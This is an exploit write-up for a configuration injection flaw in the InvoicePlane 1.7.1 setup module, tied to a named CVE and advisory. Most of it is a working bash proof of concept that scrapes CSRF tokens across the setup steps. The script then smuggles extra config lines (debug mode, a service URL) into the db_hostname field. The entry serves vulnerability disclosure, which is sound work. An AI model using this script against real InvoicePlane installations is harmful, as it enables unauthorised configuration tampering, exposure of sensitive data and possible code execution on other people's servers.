InvoicePlane 1.7.1 - RCE

# Exploit Title: InvoicePlane 1.7.1 -  RCE
# Date: 2026-04-10
# Exploit Author: Mustafa Murat Akgül
# Vendor Homepage: https://invoiceplane.com/
# Software Link: https://github.com/InvoicePlane/InvoicePlane
# Version: 1.7.1 (Patched: 1.7.2)
# CVE: CVE-2026-40297
# Advisory: GHSA-ffq5-mw9f-mv6j
# Tested on: Linux/Ubuntu (PHP 8.x)

Technical Details:
A critical configuration injection vulnerability exists in the application’s setup module.
The db_hostname parameter is not properly sanitized during installation, allowing attackers
to inject arbitrary configuration values. This can lead to environment manipulation, debug
mode activation, and potential remote code execution depending on deployment context.

Proof of Concept (PoC):

The following bash script automates the installation setup flow, extracts the necessary
CSRF tokens sequentially, and injects configuration directives through the db_hostname field:

#!/bin/bash

# Step 1: Initialize session and fetch language page CSRF token
curl -s -c /tmp/exploit.txt "http://127.0.0.1/index.php/setup/language" > /dev/null

TOKEN1=$(curl -s -b /tmp/exploit.txt "http://127.0.0.1/index.php/setup/language" \
| grep -oP '(?<=name="_ip_csrf" value=")[^"]*')

# Step 2: Submit language step
curl -s -b /tmp/exploit.txt -c /tmp/exploit.txt -X POST \
"http://127.0.0.1/index.php/setup/language" \
--data "_ip_csrf=${TOKEN1}&ip_lang=english&btn_continue=Continue" > /dev/null

# Step 3: Fetch prerequisites CSRF token
TOKEN2=$(curl -s -b /tmp/exploit.txt "http://127.0.0.1/index.php/setup/prerequisites" \
| grep -oP '(?<=name="_ip_csrf" value=")[^"]*')

# Step 4: Submit prerequisites step
curl -s -b /tmp/exploit.txt -c /tmp/exploit.txt -X POST \
"http://127.0.0.1/index.php/setup/prerequisites" \
--data "_ip_csrf=${TOKEN2}&btn_continue=Continue" > /dev/null

# Step 5: Fetch database configuration CSRF token
TOKEN3=$(curl -s -b /tmp/exploit.txt "http://127.0.0.1/index.php/setup/configure_database" \
| grep -oP '(?<=name="_ip_csrf" value=")[^"]*')

# Step 6: Submit payload via db_hostname parameter injection
curl -s -b /tmp/exploit.txt -X POST \
"http://127.0.0.1/index.php/setup/configure_database" \
--data-urlencode "_ip_csrf=${TOKEN3}" \
--data-urlencode "db_hostname=localhost'
ENABLE_DEBUG=true
SUMEX_URL=http://192.168.1.1/
DB_HOSTNAME='localhost" \
--data-urlencode "db_username=ip_user" \
--data-urlencode "db_password=Sifre123!" \
--data-urlencode "db_database=invoiceplane" \
--data-urlencode "db_port=3306"

Impact:
- Arbitrary configuration injection
- Environment variable manipulation
- Debug mode activation
- Sensitive information exposure risk
- Potential remote code execution (depending on deployment configuration)
- Full application compromise in worst-case scenarios